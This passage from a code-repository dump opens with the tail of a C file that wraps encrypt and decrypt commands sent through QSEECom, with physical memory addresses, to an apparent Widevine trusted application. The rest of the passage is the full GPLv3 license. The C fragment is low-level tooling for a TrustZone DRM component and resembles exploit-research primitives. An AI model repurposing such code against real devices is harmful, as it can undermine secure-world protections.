out_addr; 220 | *(uint32_t *)(cmd + 0x50) = 0x10; 221 | uint8_t resp[RESP_LEN] = {0}; 222 | 223 | if (0 != QSEECom_send_modified_cmd_64(g_handle, cmd, sizeof(cmd), resp, 224 | sizeof(resp), fd_info)) { 225 | perror("[-] Failed to send modified command"); 226 | return 0; 227 | } 228 | uint32_t cmd_result = *(uint32_t *)(resp + 4); 229 | if (0 != cmd_result) { 230 | fprintf(stderr, "[-] %s returned bad result: 0x%" PRIx32 "\n", 231 | cmd_name, cmd_result); 232 | return 0; 233 | } 234 | return 1; 235 | } 236 | 237 | int widevine_send_encrypt(physaddr_t in_addr, physaddr_t out_addr, 238 | uint32_t len, struct QSEECom_ion_fd_info *fd_info) 239 | { 240 | return send_crypt_cmd("encrypt", 0x61017, in_addr, out_addr, len, fd_info); 241 | } 242 | 243 | int widevine_send_decrypt(physaddr_t in_addr, physaddr_t out_addr, 244 | uint32_t len, struct QSEECom_ion_fd_info *fd_info) 245 | { 246 | return send_crypt_cmd("decrypt", 0x61018, in_addr, out_addr, len, fd_info); 247 | } 248 | 249 | struct QSEECom_handle *widevine_get_handle(void) 250 | { 251 | return g_handle; 252 | } 253 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------